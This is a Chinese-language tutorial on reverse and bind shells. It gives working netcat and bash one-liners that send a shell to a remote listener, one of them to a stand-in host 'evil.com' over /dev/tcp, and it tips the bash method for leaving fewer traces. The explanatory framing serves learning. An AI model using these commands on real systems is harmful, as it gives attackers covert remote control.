使用NetCat或BASH建立反向Shell來執行遠端執行Root命令
反向shell(Reverse shell)是一種往遠端機器傳送shell命令的技術,當遠端機器處在防火牆等其它東西后面時,這種技術會變得非常有用。你也許會說,“一個普通的shell或簡單的SSH通道不是也能實現這些嗎?”不,無法實現。在網上,我看到很多人對普通shell和反向shell之間的區別分不清。在我們開始下面的內容前,先弄清楚這些概念。
反向Shell(Reverse Shell)
- 反向shell的工作方式是遠端計算機將自己的shell傳送給特定的使用者,而不是將shell繫結到一個埠上。後者在很多環境中是無法訪問的。這樣,你就可以對遠端伺服器執行root命令。
Bind Shell
- bind shell是使用者用BSAH,將shell繫結到一個本地埠上,這樣任何人都可以在本地網路中傳送命令。
反向shell經常會被黑客用來做一些不法行為,例如入侵了一臺伺服器後,他們會設定一個反向shell,將來他們就能通過這個shell輕鬆的訪問這臺遠端計算機。我相信你是不會用它來做這種事情的。
環境要求
- 遠端Unix主機
- 安裝了netcat
使用NetCat實現反向shell互動
當通過shell登入到遠端主機後,下面的指令能輕鬆的將shell傳送到你的機器上:
nc -c /bin/sh <你的IP> <任何一個未封鎖的埠>
你甚至能通過netcat來pipe BASH。
/bin/sh | nc <你的IP> <任何未封鎖的埠>
然後監聽這個shell:
nc -l -p <相同的埠> -vvv
通過BASH實現反向shell
這種技術是當遠端機器上沒有netcat或你想做一些非自然的事情而不想留下太重的痕跡時使用。
監聽shell:
nc -l -p <任何未封鎖的埠> -vvv
先建立一個新的描述符,分配到一個網路節點。這樣我們可以對這個描述符進行讀寫。
exec 5<>/dev/tcp/evil.com/<相同的埠> $ cat <&5 | while read line; do $line 2>&5 >&5; done
或另外一個反向shell:
0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的埠>; sh <&196 >&196 2>&196
這樣,你就可以輕鬆是通過netcat傳送任何命令了。
相關文章
- 遠端執行命令
- Linux Shell執行source或.命令報錯'bash: ..: command not found'Linux
- Windows遠端linux伺服器執行shell命令WindowsLinux伺服器
- python裡執行shell命令或cmd命令Python
- 以root使用者執行命令
- Apache SSI 遠端命令執行漏洞Apache
- Oracle ASM使用asmcmd中的cp命令來執行遠端複製OracleASM
- Saltstack系列2:Saltstack遠端執行命令
- PHPMailer遠端命令執行漏洞復現PHPAI
- Windows命令遠端執行工具WinexeWindows
- CentOS使用expect批次遠端執行指令碼和命令CentOS指令碼
- 使用paramiko遠端執行命令、下發檔案
- SUNOS export命令執行與bashExport
- Go實現ssh執行遠端命令及遠端終端Go
- bash shell指令碼執行方法總結指令碼
- Java執行shell、cmd命令Java
- shell 下執行mysql 命令MySql
- 使用Pipe來執行RMAN命令
- Windows更新+中間人=遠端命令執行Windows
- Go語言:crypto/ssh執行遠端命令Go
- Laravel cookie偽造,解密,和遠端命令執行LaravelCookie解密
- 判斷ssh遠端命令是否執行結束
- 遠端啟動命令,讓命令程式在後臺執行
- 【Mongo】shell命令列模式執行mongo命令Go命令列模式
- Shell程式設計-建立和執行程式設計
- SSH 遠端執行任務
- Firefox 31~34遠端命令執行漏洞的分析Firefox
- Apache Log4j2遠端命令執行漏洞Apache
- C#使用程式呼叫bash,不斷往bash內插入命令並執行C#
- awk小技巧之執行shell命令
- 在shell中執行SQL*Plus命令SQL
- shell 命令在終端可以執行成功,為什麼放在 groovy 指令碼中不執行?指令碼
- Mac 終端執行 shell 指令碼Mac指令碼
- 執行shell指令碼報錯:-bash: ./test1.sh: /bin/bash^M: ...指令碼
- 用 PHP 來執行執行網路相關命令PHP
- PowerShell 中,您可以透過遠端控制執行多條命令。最常見的方法是使用 Invoke-Command 命令,它允許您在遠端計算機上執行指定的命令或指令碼塊計算機指令碼
- 使用 OpenQuery 函式對遠端表執行DMLENQ函式
- crontab異常:shell下可以執行命令,執行crontab卻報錯